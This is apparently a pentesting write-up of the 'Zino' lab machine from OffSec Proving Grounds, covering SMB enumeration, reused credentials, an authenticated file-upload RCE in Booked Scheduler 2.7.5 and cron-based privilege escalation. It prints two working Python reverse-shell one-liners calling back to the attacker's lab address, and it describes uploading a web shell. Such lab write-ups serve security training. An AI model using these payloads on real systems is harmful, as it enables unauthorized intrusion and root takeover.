> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/linux/zino.md).

# Zino

Writeup for Zinofrom from offsec Proving Grounds

## Information gathering

`sudo ./nmapAutomator.sh 192.168.63.64 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FhBY6VWiRPazpDXhT90Yf%2Fimage.png?alt=media\&token=4308b3f9-bfc5-43de-8d5a-8a340a668796)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FWkwl6rfgRKDXGa8niBDl%2Fimage.png?alt=media\&token=d1d5e6ae-6643-4f8e-995d-92e57e1824dc)

### Service Enumeration

### FTP (Port 21)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FFeyk3tYGloKtGrBmdDIZ%2Fimage.png?alt=media\&token=0acbfc04-a39f-4cdf-b875-e323b828db4e)

Doesn't seem like there's much we can do here.

### SMB (Port 139,445)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FrdDj9EgfsTq2shAMdbYK%2Fimage.png?alt=media\&token=17601b61-c2c1-459a-96dd-0f24fd00b7b2)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F9MfOetzHaS059RGYKtAr%2Fimage.png?alt=media\&token=6d20fa61-cc12-4e5b-9650-10d60fabbaae)

Looks like we can connect as zino without any password.

Since we can also download all the files, let's do that and see if there's anything interesting.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FCaMBZNtPCzWF9ee6Tfxx%2Fimage.png?alt=media\&token=215d9c65-434f-4f5f-8c61-ab737f7e132d)

From the `misc.log` file, it seems like we have some credentials which would be useful later - `admin:adminadmin`.

### HTTP (Port 8003)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FfkJwslm40biodHrqvwLo%2Fimage.png?alt=media\&token=f44dcb7d-cfb3-47f3-bb40-b05200be131b)

Looks like this is running Booked Scheduler v2.7.5 which has a RCE vulnerability. However, we must be authenticated first.

{% embed url="<https://github.com/F-Masood/Booked-Scheduler-2.7.5---RCE-Without-MSF>" %}

## Exploit

We can try the credentials that we got from misc.log from SMB and we successfully log in.

![Seems like we can upload this file which allows us to gain RCE.](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FRGtC9V0WNevLUBn7vbk4%2Fimage.png?alt=media\&token=4ae3195c-b4a2-4e41-bd2b-6c88d5e9d61b)

From here we can upload a web shell to execute any commands we want.

{% embed url="<https://github.com/artyuum/Simple-PHP-Web-Shell>" %}

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F3LRsx5HoNHLaVsV3DGtv%2Fimage.png?alt=media\&token=f16a59b4-c2ce-4991-84ac-302899a52723)

Payload: `export RHOST="192.168.49.63";export RPORT=3306;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/usr/bin/sh")'`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FmEj8hFbYg54uoVgYtLM4%2Fimage.png?alt=media\&token=7e7443b5-ca41-4b3a-ad97-e15d9d852b9a)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FbKLBNFD5faoLUyRyRjzq%2Fimage.png?alt=media\&token=ddee1a83-6728-4e2f-8a84-7417633b32d0)

## Privesc

Running LinPeas, we can see that `cleanup.py` is a cron job that runs every 3 mins.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FNuzm3Brg57fhvv0be6EC%2Fimage.png?alt=media\&token=6589fd4a-d38a-412b-8c1b-5e41fab9e765)

Looking at `cleanup.py` file permissions, it seems like we have the ability to edit the file.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FVm3l3jRy3Skj6RaNx9Xf%2Fimage.png?alt=media\&token=7b6c9002-f7a4-4208-a141-59f95f449b90)

From here we can just overwrite the data in `cleanup.py` with our payload:&#x20;

`'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.63",21));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FqwoUh7BNcaACN9UD9ErA%2Fimage.png?alt=media\&token=de2a1899-e540-43b9-94d3-21dae489a4de)

Now we just wait 3 mins and we got root!

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F4zcT9I0CUOqINpCt2HD0%2Fimage.png?alt=media\&token=56b9cfb2-de20-4009-bfea-fbc5df3134d2)